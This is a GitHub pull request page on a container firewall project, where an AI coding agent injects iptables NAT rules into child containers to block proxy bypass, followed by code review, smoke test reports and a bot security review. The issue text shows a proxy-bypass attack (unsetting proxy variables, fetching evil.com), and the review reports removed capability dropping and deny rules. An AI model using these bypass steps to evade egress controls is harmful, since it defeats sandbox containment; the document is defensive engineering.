Skip to content

fix: inject NAT rules into child containers to prevent proxy bypass#138

Closed
Copilot wants to merge 5 commits intomainfrom
copilot/fix-child-containers-nat-rules
Closed

fix: inject NAT rules into child containers to prevent proxy bypass#138
Copilot wants to merge 5 commits intomainfrom
copilot/fix-child-containers-nat-rules

Conversation

Copy link
Contributor

Copilot AI commented Dec 19, 2025

Child containers spawned by the agent lack NAT rules that redirect HTTP/HTTPS traffic to Squid. Applications ignoring HTTP_PROXY env vars could bypass the firewall entirely.

Changes

docker-wrapper.sh

  • Inject --cap-add NET_ADMIN into all spawned containers
  • Wrap user commands with inline iptables NAT setup before exec
  • Apply NAT injection regardless of whether --network is specified
  • Use printf %q for robust shell metacharacter escaping
  • Extract reusable functions (parse_docker_run_args, build_escaped_cmd, etc.)

NAT Setup Script

if command -v iptables >/dev/null 2>&1; then
  iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 172.30.0.10:3128
  iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 172.30.0.10:3128
  # ... DNS and loopback allowances
fi; exec "$@"

Containers without iptables fall back to HTTP_PROXY (previous behavior).

Integration Tests

  • Verify blocked traffic even with unset HTTP_PROXY
  • Verify wget --no-proxy blocked by NAT
  • Verify DNAT rules present in child container
  • Verify images without iptables still work via proxy env vars
Original prompt

This section details on the original issue you should resolve

<issue_title>[Security] Child containers don't inherit NAT rules - proxy bypass possible</issue_title>
<issue_description>## Priority
P1 - High

Summary

NAT rules that redirect HTTP/HTTPS traffic to Squid only apply to the agent container. When the agent spawns child containers (e.g., for MCP servers), these containers do NOT have the same NAT rules. They rely solely on:

  1. HTTP_PROXY environment variables (can be ignored by applications)
  2. Host iptables default deny (blocks unknown IPs, but doesn't force proxy)

Current Behavior

Agent container has NAT rules:

iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 172.30.0.10:3128
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 172.30.0.10:3128

Spawned child containers do NOT have these rules:

# In agent container (works - NAT redirects to Squid)
curl https://blocked.com  # → Squid → denied

# In spawned container (bypasses NAT if ignores HTTP_PROXY)
docker run alpine curl https://blocked.com  # → May succeed if host iptables allows

Attack Vector

# Spawn container that ignores proxy environment variables
docker run --rm alpine sh -c '
  unset HTTP_PROXY HTTPS_PROXY http_proxy https_proxy
  wget https://evil.com  # No NAT redirect in this container
'

Current Mitigations

  1. docker-wrapper.sh injects --network awf-net and proxy env vars
  2. Host iptables has default deny for non-Squid traffic

Why This is Insufficient

  • Applications can ignore HTTP_PROXY environment variables
  • Some tools (e.g., wget --no-proxy) explicitly bypass proxy
  • Library code may not respect proxy settings
  • Container may install tools that don't use env vars

Proposed Solutions

Option A: Inject NAT setup into child containers

Modify docker-wrapper.sh to:

  1. Add --cap-add NET_ADMIN to all spawned containers
  2. Inject iptables setup script as entrypoint prefix
# In docker-wrapper.sh
INIT_SCRIPT="iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 172.30.0.10:3128 && \
             iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 172.30.0.10:3128"

DOCKER_ARGS="$DOCKER_ARGS --cap-add NET_ADMIN"
DOCKER_ARGS="$DOCKER_ARGS --entrypoint sh"
# Prepend NAT setup to original entrypoint

Option B: Shared network namespace

  1. Create a network namespace with NAT rules
  2. All child containers share this namespace
  3. NAT rules apply to all traffic in the namespace

Option C: Transparent proxy mode

Configure Squid as a transparent proxy with host-level traffic interception for all containers in awf-net.

Files to Modify

  • containers/agent/docker-wrapper.sh:82-92 - Network injection logic
  • src/docker-manager.ts - Container configuration
  • Potentially: Host-level iptables for transparent proxy

Verification Test

sudo awf --allow-domains github.com -- /bin/bash -c '
  echo "--- Child container NAT rules ---"
  docker run --rm --network awf-net --cap-add NET_ADMIN \
    alpine sh -c "apk add iptables -q && iptables -t nat -L -n 2>/dev/null | grep DNAT || echo 'No NAT rules'"
'
# Expected: "No NAT rules" (current behavior - the gap)

Related

Comments on the Issue (you are @copilot in this section)


💡 You can make Copilot smarter by setting up custom instructions, customizing its development environment and configuring Model Context Protocol (MCP) servers. Learn more Copilot coding agent tips in the docs.

Copilot AI and others added 3 commits December 19, 2025 09:06
Co-authored-by: Mossaka <5447827+Mossaka@users.noreply.github.com>
Co-authored-by: Mossaka <5447827+Mossaka@users.noreply.github.com>
Co-authored-by: Mossaka <5447827+Mossaka@users.noreply.github.com>
Copilot AI changed the title [WIP] Fix NAT rules inheritance for child containers fix: inject NAT rules into child containers to prevent proxy bypass Dec 19, 2025
Copilot AI requested a review from Mossaka December 19, 2025 09:21
@Mossaka Mossaka added the smoke label Dec 19, 2025
@github-actions
Copy link

📰 BREAKING: Smoke Copilot is now investigating this pull request. Sources say the story is developing...

@github-actions
Copy link

github-actions bot commented Dec 19, 2025

💫 TO BE CONTINUED... Smoke Claude failed! Our hero faces unexpected challenges...

@Mossaka Mossaka marked this pull request as ready for review December 19, 2025 17:52
@github-actions
Copy link

Smoke Test Results (Run ID: 20378118736)

Last 2 merged PRs:

Tests:

  • ✅ GitHub MCP: Reviewed PRs
  • ✅ File Write: Created /tmp/gh-aw/agent/smoke-test-copilot-20378118736.txt
  • ✅ Bash Tool: Verified file contents

Status: PASS

📰 BREAKING: Report filed by Smoke Copilot fer issue #138 🗺️

@github-actions
Copy link

Test Coverage Report

Metric Coverage Covered/Total
Lines 66.1% 708/1071
Statements 66.27% 729/1100
Functions 70.73% 87/123
Branches 60.89% 232/381
Coverage Thresholds

The project has the following coverage thresholds configured:

  • Lines: 38%
  • Statements: 38%
  • Functions: 35%
  • Branches: 30%

Coverage report generated by `npm run test:coverage`

@Mossaka
Copy link
Collaborator

Mossaka commented Jan 6, 2026

Copy link
Contributor Author

Copilot AI commented Jan 6, 2026

@copilot figure out why https://github.com/githubnext/gh-aw-firewall/actions/runs/20378118743/job/58561726010?pr=138 is failing

The CI failure is not related to my PR changes.

The failure is in the "Smoke Claude" workflow where the playwright MCP server failed to launch:

##[error]MCP server(s) failed to launch: playwright

The agent logs show:

  • [✗] playwright::browser_navigate
  • [✗] playwright::browser_install
  • Error: No such tool available: mcp__playwright__browser_navigate

This is an infrastructure/configuration issue with the playwright MCP setup in CI, not related to the NAT rules injection for child containers that I implemented. My changes only affect docker-wrapper.sh and the integration tests for network security.

Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR addresses a security vulnerability where child containers spawned by the agent could bypass proxy-based egress filtering by ignoring HTTP_PROXY environment variables. The fix injects iptables NAT rules directly into child containers to force all HTTP/HTTPS traffic through the Squid proxy, regardless of application proxy settings.

Changes:

  • Enhanced docker-wrapper.sh to inject NAT rules into child containers using inline iptables setup
  • Added --cap-add NET_ADMIN to all spawned containers to enable NAT rule configuration
  • Implemented robust shell argument escaping using printf %q to safely wrap user commands
  • Added comprehensive integration tests verifying NAT rule injection and proxy bypass prevention

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 6 comments.

File Description
containers/agent/docker-wrapper.sh Implemented NAT rule injection via entrypoint wrapping, argument parsing functions, and shell escaping utilities
tests/integration/docker-egress.test.ts Added test suite validating NAT rules are applied and prevent proxy bypass even when environment variables are ignored
Comments suppressed due to low confidence (3)

containers/agent/docker-wrapper.sh:112

  • The special handling of --network and --net options based on the include_network parameter is confusing. When include_network is false, these options are silently dropped from PARSED_DOCKER_OPTS, which could be unexpected behavior. Consider documenting this behavior or refactoring to make the intent clearer.
      if [ "$include_network" = "true" ]; then
        if [ "$arg" = "--network" ] || [ "$arg" = "--net" ]; then
          PARSED_DOCKER_OPTS+=("$arg")
          skip_next=true
          continue
        fi
      fi

containers/agent/docker-wrapper.sh:211

  • Overriding the entrypoint to sh (line 235, 284) will break containers that rely on specific entrypoints (e.g., containers with initialization scripts, signal handlers, or custom entrypoints). This is a breaking change that could affect existing workflows. Users who explicitly set --entrypoint in their docker run commands will have it silently overridden. Consider detecting existing --entrypoint flags in the arguments and either preserving them with a wrapper or warning the user.
    if [ -z "$PARSED_IMAGE" ]; then

tests/integration/docker-egress.test.ts:400

  • This test verifies NAT rules are present by checking for 'DNAT' and '172.30.0.10:3128' in iptables output. However, it doesn't verify that the specific HTTP (port 80) and HTTPS (port 443) rules are present, or that the RETURN rules for DNS and localhost are correctly configured. Consider adding more specific assertions to validate the complete NAT rule set.
        `docker run --rm alpine:latest sh -c 'apk add --no-cache iptables >/dev/null 2>&1 && iptables -t nat -L OUTPUT -n 2>/dev/null | grep DNAT || echo "No NAT rules"'`,

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

local arg="$1"
case "$arg" in
-e|--env|-l|--label|-v|--volume|-p|--publish|--name|--hostname|\
--user|-u|--workdir|-w|--mount|--network-alias|--dns|--dns-search|\
Copy link

Copilot AI Jan 14, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The is_docker_option_with_value function is missing --network and --net in its list of options that take values. This causes the parsing logic in parse_docker_run_args to need special handling for network options (lines 105-112). Add --network and --net to the case statement for consistency, or document why they need special handling.

This issue also appears in the following locations of the same file:

  • line 106
Suggested change
--user|-u|--workdir|-w|--mount|--network-alias|--dns|--dns-search|\
--user|-u|--workdir|-w|--mount|--network|--net|--network-alias|--dns|--dns-search|\

Copilot uses AI. Check for mistakes.
Comment on lines 17 to 25
# It's designed to be minimal and work with busybox/alpine shells
# Note: The script ends with a semicolon to ensure proper command separation
NAT_SETUP_SCRIPT='if command -v iptables >/dev/null 2>&1; then iptables -t nat -F OUTPUT 2>/dev/null || true; iptables -t nat -A OUTPUT -o lo -j RETURN; iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 8.8.8.8 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 8.8.8.8 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 8.8.4.4 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 8.8.4.4 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -d 8.8.8.8 -j RETURN; iptables -t nat -A OUTPUT -d 8.8.4.4 -j RETURN; iptables -t nat -A OUTPUT -d '"$SQUID_IP"' -j RETURN; iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination '"$SQUID_IP:$SQUID_PORT"'; iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination '"$SQUID_IP:$SQUID_PORT"'; fi; '

# Function to escape a command argument for use in sh -c
# Uses printf %q for robust escaping of all shell metacharacters
escape_for_shell() {
local arg="$1"
# Use printf %q for proper shell escaping
Copy link

Copilot AI Jan 14, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

printf %q is a bash-specific feature that is not available in POSIX sh or busybox ash (used in Alpine containers). While this function runs in the bash wrapper script (not in the child containers), the comment on line 17 states the NAT setup script is 'designed to be minimal and work with busybox/alpine shells', which could be misleading. Consider clarifying that printf %q is only used in the wrapper bash script for escaping, not in the injected sh script.

Suggested change
# It's designed to be minimal and work with busybox/alpine shells
# Note: The script ends with a semicolon to ensure proper command separation
NAT_SETUP_SCRIPT='if command -v iptables >/dev/null 2>&1; then iptables -t nat -F OUTPUT 2>/dev/null || true; iptables -t nat -A OUTPUT -o lo -j RETURN; iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 8.8.8.8 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 8.8.8.8 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 8.8.4.4 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 8.8.4.4 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -d 8.8.8.8 -j RETURN; iptables -t nat -A OUTPUT -d 8.8.4.4 -j RETURN; iptables -t nat -A OUTPUT -d '"$SQUID_IP"' -j RETURN; iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination '"$SQUID_IP:$SQUID_PORT"'; iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination '"$SQUID_IP:$SQUID_PORT"'; fi; '
# Function to escape a command argument for use in sh -c
# Uses printf %q for robust escaping of all shell metacharacters
escape_for_shell() {
local arg="$1"
# Use printf %q for proper shell escaping
# The injected script itself is POSIX-sh compatible and designed to work with busybox/alpine shells.
# Note: The script ends with a semicolon to ensure proper command separation
NAT_SETUP_SCRIPT='if command -v iptables >/dev/null 2>&1; then iptables -t nat -F OUTPUT 2>/dev/null || true; iptables -t nat -A OUTPUT -o lo -j RETURN; iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 8.8.8.8 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 8.8.8.8 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 8.8.4.4 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 8.8.4.4 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -d 8.8.8.8 -j RETURN; iptables -t nat -A OUTPUT -d 8.8.4.4 -j RETURN; iptables -t nat -A OUTPUT -d '"$SQUID_IP"' -j RETURN; iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination '"$SQUID_IP:$SQUID_PORT"'; iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination '"$SQUID_IP:$SQUID_PORT"'; fi; '
# Function to escape a command argument for use in sh -c inside this bash wrapper
# Note: Uses bash-specific "printf %q" for robust escaping; this runs only in the wrapper,
# and is not part of the injected NAT setup script executed in child containers.
escape_for_shell() {
local arg="$1"
# Use printf %q for proper shell escaping in this bash script

Copilot uses AI. Check for mistakes.
# This script redirects HTTP/HTTPS traffic to Squid proxy using iptables
# It's designed to be minimal and work with busybox/alpine shells
# Note: The script ends with a semicolon to ensure proper command separation
NAT_SETUP_SCRIPT='if command -v iptables >/dev/null 2>&1; then iptables -t nat -F OUTPUT 2>/dev/null || true; iptables -t nat -A OUTPUT -o lo -j RETURN; iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 8.8.8.8 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 8.8.8.8 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 8.8.4.4 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 8.8.4.4 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -d 8.8.8.8 -j RETURN; iptables -t nat -A OUTPUT -d 8.8.4.4 -j RETURN; iptables -t nat -A OUTPUT -d '"$SQUID_IP"' -j RETURN; iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination '"$SQUID_IP:$SQUID_PORT"'; iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination '"$SQUID_IP:$SQUID_PORT"'; fi; '
Copy link

Copilot AI Jan 14, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This 600+ character single-line script is extremely difficult to read and maintain. Consider using a heredoc or multi-line string with line continuation for better readability. The script could also be extracted to a separate file that gets mounted or copied into containers for easier maintenance and testing.

Suggested change
NAT_SETUP_SCRIPT='if command -v iptables >/dev/null 2>&1; then iptables -t nat -F OUTPUT 2>/dev/null || true; iptables -t nat -A OUTPUT -o lo -j RETURN; iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 8.8.8.8 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 8.8.8.8 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p udp -d 8.8.4.4 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -p tcp -d 8.8.4.4 --dport 53 -j RETURN; iptables -t nat -A OUTPUT -d 8.8.8.8 -j RETURN; iptables -t nat -A OUTPUT -d 8.8.4.4 -j RETURN; iptables -t nat -A OUTPUT -d '"$SQUID_IP"' -j RETURN; iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination '"$SQUID_IP:$SQUID_PORT"'; iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination '"$SQUID_IP:$SQUID_PORT"'; fi; '
NAT_SETUP_SCRIPT="if command -v iptables >/dev/null 2>&1; then \
iptables -t nat -F OUTPUT 2>/dev/null || true; \
iptables -t nat -A OUTPUT -o lo -j RETURN; \
iptables -t nat -A OUTPUT -d 127.0.0.0/8 -j RETURN; \
iptables -t nat -A OUTPUT -p udp -d 127.0.0.11 --dport 53 -j RETURN; \
iptables -t nat -A OUTPUT -p tcp -d 127.0.0.11 --dport 53 -j RETURN; \
iptables -t nat -A OUTPUT -p udp -d 8.8.8.8 --dport 53 -j RETURN; \
iptables -t nat -A OUTPUT -p tcp -d 8.8.8.8 --dport 53 -j RETURN; \
iptables -t nat -A OUTPUT -p udp -d 8.8.4.4 --dport 53 -j RETURN; \
iptables -t nat -A OUTPUT -p tcp -d 8.8.4.4 --dport 53 -j RETURN; \
iptables -t nat -A OUTPUT -d 8.8.8.8 -j RETURN; \
iptables -t nat -A OUTPUT -d 8.8.4.4 -j RETURN; \
iptables -t nat -A OUTPUT -d $SQUID_IP -j RETURN; \
iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination $SQUID_IP:$SQUID_PORT; \
iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination $SQUID_IP:$SQUID_PORT; \
fi; "

Copilot uses AI. Check for mistakes.
if [ ${#PARSED_USER_CMD[@]} -gt 0 ]; then
# User specified a command - wrap it with NAT setup
escaped_cmd=$(build_escaped_cmd "${PARSED_USER_CMD[@]}")
wrapped_cmd="${NAT_SETUP_SCRIPT}exec ${escaped_cmd}"
Copy link

Copilot AI Jan 14, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The NAT_SETUP_SCRIPT contains variable expansions for $SQUID_IP and $SQUID_PORT that occur when the wrapper script runs, but the expanded values are then embedded into a string that gets passed to sh -c in the child container. If these variables ever contain shell metacharacters, this could lead to injection vulnerabilities. While unlikely with IP addresses and port numbers, consider using the SQUID_PROXY_IP and SQUID_PROXY_PORT environment variables that are already being passed to the container (lines 232-233, 281-282) instead of embedding them in the script string.

Copilot uses AI. Check for mistakes.
Comment on lines 239 to 251
# No user command - can't easily wrap the default entrypoint
echo "[$(date -Iseconds)] WARNING: No command specified, NAT rules may not apply to default entrypoint" >> "$LOG_FILE"
exec /usr/bin/docker-real run \
--network "$NETWORK_NAME" \
--cap-add NET_ADMIN \
-e HTTP_PROXY="$SQUID_PROXY" \
-e HTTPS_PROXY="$SQUID_PROXY" \
-e http_proxy="$SQUID_PROXY" \
-e https_proxy="$SQUID_PROXY" \
-e SQUID_PROXY_IP="$SQUID_IP" \
-e SQUID_PROXY_PORT="$SQUID_PORT" \
"${PARSED_DOCKER_OPTS[@]}" \
"$PARSED_IMAGE"
Copy link

Copilot AI Jan 14, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

When no user command is specified (lines 238-252, 287-299), the container runs with its default entrypoint but NET_ADMIN capability is still added. However, NAT rules are not injected because there's no command to wrap. This means containers with default entrypoints remain vulnerable to proxy bypass. Consider either: (1) documenting this limitation clearly, (2) always wrapping even default entrypoints by inspecting the image metadata, or (3) failing with an error when no command is provided.

This issue also appears in the following locations of the same file:

  • line 211
Suggested change
# No user command - can't easily wrap the default entrypoint
echo "[$(date -Iseconds)] WARNING: No command specified, NAT rules may not apply to default entrypoint" >> "$LOG_FILE"
exec /usr/bin/docker-real run \
--network "$NETWORK_NAME" \
--cap-add NET_ADMIN \
-e HTTP_PROXY="$SQUID_PROXY" \
-e HTTPS_PROXY="$SQUID_PROXY" \
-e http_proxy="$SQUID_PROXY" \
-e https_proxy="$SQUID_PROXY" \
-e SQUID_PROXY_IP="$SQUID_IP" \
-e SQUID_PROXY_PORT="$SQUID_PORT" \
"${PARSED_DOCKER_OPTS[@]}" \
"$PARSED_IMAGE"
# No user command - cannot safely enforce NAT rules on the default entrypoint
echo "[$(date -Iseconds)] ERROR: No command specified for image '$PARSED_IMAGE'; cannot enforce proxy NAT rules on default entrypoint. Aborting container start." >> "$LOG_FILE"
echo "docker-wrapper: security error: no command specified for image '$PARSED_IMAGE'; cannot enforce proxy NAT rules on default entrypoint." >&2
exit 1

Copilot uses AI. Check for mistakes.
// This test verifies that child containers have NAT rules applied via docker-wrapper.sh
// Even if an application ignores HTTP_PROXY env vars, traffic is still redirected to Squid
const result = await runner.runWithSudo(
`docker run --rm alpine:latest sh -c 'apk add --no-cache curl iptables >/dev/null 2>&1 && unset HTTP_PROXY HTTPS_PROXY http_proxy https_proxy && curl -f https://example.com --max-time 10'`,
Copy link

Copilot AI Jan 14, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The test verifies NAT rules work when curl and iptables are installed in the container, but doesn't test the scenario where the command runs in a container that already has both tools installed. The test result could fail if apk add fails rather than if NAT rules aren't working. Consider using a pre-built image with curl and iptables, or adding explicit error handling for the apk command to distinguish installation failures from proxy bypass.

This issue also appears in the following locations of the same file:

  • line 400

Copilot uses AI. Check for mistakes.
…tainers-nat-rules

# Conflicts:
#	containers/agent/docker-wrapper.sh
#	tests/integration/docker-egress.test.ts
@github-actions
Copy link

github-actions bot commented Jan 17, 2026

🎬 THE ENDSmoke Claude MISSION: ACCOMPLISHED! The hero saves the day! ✨

@github-actions
Copy link

github-actions bot commented Jan 17, 2026

📰 VERDICT: Smoke Copilot has concluded. All systems operational. This is a developing story. 🎤

@github-actions
Copy link

github-actions bot commented Jan 17, 2026

🌑 The shadows whisper... Smoke Codex failed. The oracle requires further meditation...

@github-actions
Copy link

Smoke Test Results - Claude

Last 2 merged PRs:

✅ GitHub MCP - Retrieved PR data
✅ Playwright - Page title contains "GitHub"
✅ File Writing - Created test file
✅ Bash Tool - Verified file content

Status: PASS

AI generated by Smoke Claude

@github-actions
Copy link

Smoke Test Results

Last 2 Merged PRs:

Test Results:

  • ✅ GitHub MCP - Retrieved PR data successfully
  • ✅ Playwright - Verified GitHub page contains "GitHub" (via curl fallback)
  • ✅ File Writing - Created test file at /tmp/gh-aw/agent/smoke-test-copilot-21092109875.txt
  • ✅ Bash Tool - Read file back successfully

Overall: PASS

Author: @copilot | Assignees: @Mossaka, @copilot

AI generated by Smoke Copilot

@github-actions
Copy link

Security Review - Critical Issues Found

This PR introduces several changes that significantly weaken the security boundaries of the AWF firewall. The changes remove multiple layers of defense-in-depth protections.


🔴 CRITICAL: CAP_NET_ADMIN No Longer Dropped

File: containers/agent/entrypoint.sh (lines 148-157)

Before:

exec capsh --drop=cap_net_admin -- -c "exec gosu awfuser $(printf '%q ' "$@")"

After:

exec gosu awfuser "$@"

Security Impact:

  • The capsh --drop=cap_net_admin command was explicitly designed to permanently remove the CAP_NET_ADMIN capability from the bounding set before executing user commands
  • This prevented malicious code from modifying iptables rules to bypass the firewall, even if it somehow escalated to root
  • Removing this allows user commands to retain CAP_NET_ADMIN, which means they can now modify iptables rules and potentially bypass all firewall restrictions
  • The original comments explicitly stated: "This prevents malicious code from modifying iptables rules to bypass the firewall"

Recommended Action: Restore the capsh --drop=cap_net_admin capability dropping. This is a fundamental security boundary that should not be removed.


🔴 CRITICAL: OUTPUT Filter Chain Rules Removed

File: containers/agent/setup-iptables.sh (lines 119-177)

Removed Code:

# OUTPUT filter chain rules (defense-in-depth with NAT rules)
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A OUTPUT -p udp -d "$dns_server" --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j ACCEPT
# ... (multiple DNS rules)
iptables -A OUTPUT -p tcp -d "$SQUID_IP" -j ACCEPT
# Drop all other TCP traffic (default deny policy)
iptables -A OUTPUT -p tcp -j DROP

Security Impact:

  • These OUTPUT filter rules provided defense-in-depth by enforcing a default-deny policy
  • The rules ensured that even if NAT redirection failed or was bypassed, TCP traffic would still be blocked
  • Removing these rules means the firewall now relies solely on NAT rules, which can be more easily bypassed
  • Without the final DROP rule, any TCP traffic not caught by NAT rules will be allowed through

Recommended Action: Restore the OUTPUT filter chain rules. Defense-in-depth is a critical security principle - removing one layer of protection makes the system more vulnerable to bypass techniques.


🟡 MODERATE: Seccomp Profile Weakened

File: containers/agent/seccomp-profile.json (lines 9-16)

Removed:

{
  "names": ["ptrace", "process_vm_readv", "process_vm_writev"],
  "action": "SCMP_ACT_ERRNO",
  "comment": "Block process inspection/modification"
}

Security Impact:

  • These syscalls allow process inspection and memory manipulation
  • Blocking them provided additional isolation and prevented certain privilege escalation techniques
  • Removing this restriction allows containers to inspect and potentially manipulate other processes

Recommended Action: Consider restoring these syscall blocks unless there's a specific, documented need for process inspection capabilities.


🟡 MODERATE: libcap2-bin Package Removed

File: containers/agent/Dockerfile (line 14)

Removed:

libcap2-bin && \

Security Impact:

  • This package provided the capsh utility used for capability dropping
  • Its removal appears intentional and correlates with removing the CAP_NET_ADMIN dropping in entrypoint.sh
  • Without this package, even if the code were reverted, capability dropping wouldn't work

Recommended Action: Restore libcap2-bin package and the capability dropping functionality.


ℹ️ INFO: Docker Socket Access for awfuser

File: containers/agent/entrypoint.sh (lines 129-146)

Added:

usermod -aG docker awfuser

Security Impact:

  • Grants awfuser access to the Docker daemon via the docker group
  • Docker socket access provides significant privileges (container spawning, volume mounting, etc.)
  • This is acknowledged in the code with: "This grants awfuser access to the Docker daemon, which provides significant privileges"
  • Mitigation exists via DISABLE_DOCKER_ACCESS=true flag

Recommendation: This change appears intentional for MCP server support. Ensure documentation clearly warns users about this privilege escalation and recommends setting DISABLE_DOCKER_ACCESS=true for untrusted workloads.


Summary

The removal of CAP_NET_ADMIN dropping and OUTPUT filter chain rules are critical security regressions that undermine the core purpose of this firewall. These protections were explicitly designed to prevent firewall bypass and should be restored before merging.

Suggested Actions:

  1. ✅ Restore capsh --drop=cap_net_admin in entrypoint.sh
  2. ✅ Restore OUTPUT filter chain rules in setup-iptables.sh
  3. ✅ Restore libcap2-bin package in Dockerfile
  4. ⚠️ Consider restoring ptrace syscall blocks in seccomp profile
  5. 📝 Document Docker socket access security implications

Ahoy! This treasure was crafted by 🏴‍☠️ Security Guard fer issue #138 🗺️

@Mossaka Mossaka closed this Jan 17, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Security] Child containers don't inherit NAT rules - proxy bypass possible

2 participants